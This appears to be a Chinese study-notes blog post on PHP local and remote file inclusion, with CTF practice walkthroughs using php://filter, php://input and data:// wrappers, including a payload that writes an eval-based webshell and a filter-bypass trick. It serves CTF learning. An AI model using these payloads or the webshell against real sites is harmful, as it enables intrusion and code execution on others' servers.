当前位置: 首页 > news >正文

小迪笔记第 五十天 文件包含漏洞 远程包含 本地包含 ctf练习题实战

前言

文件包含漏洞   原理就是包含的文件如果可控就会造成这个漏洞

php文件包含的特征 : PHP:include、require、include_once、require_once等

一共是分为了2 种  一个就是

远程文件包含

这个的前提是php开启了 远程文件上传这个选项

原理应用就是

因为这个非常鸡肋我就不多说了

本地文件包含漏洞

本地文件的包含 就是利用本地存在的文件

配合文件上传 进行后门的访问

   如果本地文件没有可利用的

1、伪协议利用(ctf 常考)

利用伪协议读取文件

第一个就是我们的

文件的读取

file://D:\\xx.txt                    //这个不常用的原因就是 就是需要绝对路径

php://filter/read=convert.base64-encode/resource=flag.php   //这个只需要相对路径 但是读取的内容会进行 base64加密

演示一下  例题是ctf show文件包含漏洞的第一个题

因为不知道绝对路径所以直接 使用 filter 

发现爆错了    那这种情况就需要我们继续上上一级找    php://filter/read=convert.base64-encode/resource=../../flag.txt

发现没有就再猜一下  php://filter/read=convert.base64-encode/resource=flag.php     base64解码出来就是了

文件的写入

php//:input   POST(这个是后边的数据的传入)  <?php fputs(fopen("shell.php","w") , '<?php @eval($_POST["pass"]?>'?>

条件:需要开启远程文件包含

接着使用上边这个题

执行看见了 flag   

两个方法打开 : 1、 cat

右键查看源码来

2、tac 读取

php://filter/write=convert.base64-encode/resource=phpinfo.php             POST: 
然后post 传入的文件写入语句必须是base64加密的                                前提是有   file_put_contents( )

练习:接着使用上边这个题

爱博士我的后门呢  什么情况啊  这个就是因为后台代码没有          file_put_contents($_GET['file'] ) 这个代码

代码执行

php://input   也可以执行代码的执行

php://input  
php://input    POST:<?php phpinfo();?>

还有一个就是这个data

data://text/plain,<?php phpinfo();?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

上边这个题我们使用 data 玩一玩

这个的特点就是不用写在 post里面

当然这个也可以绕过演示一个

ctf show 入门  web79

演示一下

禁用了 php  我们还有代码执行 data

这边直接把php换成 = 就行了

第二种做法

input大小写绕过

文件包含除了上边这些还有   2、日志文件的读取  3、session文件竞争  下个文章写

http://www.lryc.cn/news/501746.html

相关文章:

  • 单片机:实现点阵汉字平滑滚动显示(附带源码)
  • C# 实现 10 位纯数字随机数
  • 分布式全文检索引擎ElasticSearch-基本概念介绍
  • 电子应用设计方案-49:智能拖把系统方案设计
  • 汽车免拆诊断案例 | 2014款保时捷卡宴车发动机偶尔无法起动
  • 电脑怎么设置通电自动开机(工控机)
  • MaxKB进阶:豆包大模型驱动的智能日报小助手
  • Python爬虫之使用xpath进行HTML Document文档的解析
  • 调度系统:使用 Airflow 对 Couchbase 执行 SQL 调度时的潜在问题
  • 【数据结构——查找】二分查找(头歌实践教学平台习题)【合集】
  • 简单网页制作提升用户体验和客户转化
  • 数据类型(使用与定义)
  • VMware:CentOS 7.* 连不上网络
  • 日志分析详解
  • 【JavaWeb后端学习笔记】Maven项目管理
  • Docker--Docker Container(容器) 之 操作实例
  • Android前端签到web迁移到rust的axum的过程-签到的重构
  • 用户认证系统登录界面
  • Redis从入门到进阶(总结)
  • 【D3.js in Action 3 精译_044】5.1 饼图和环形图的创建(四):数据标签的添加
  • Linux的基本功能和命令
  • 【Spark】Spark的两种核心Shuffle工作原理详解
  • TCP 的文化内涵
  • ASP.NET |日常开发中读写XML详解
  • Less和SCSS,哪个更好用?
  • 第一个C++程序--(蓝桥杯备考版)
  • NanoLog起步笔记-7-log解压过程初探
  • 【MySQL 进阶之路】基础语法及优化技巧
  • 微信小程序做电子签名功能
  • PR的选择与移动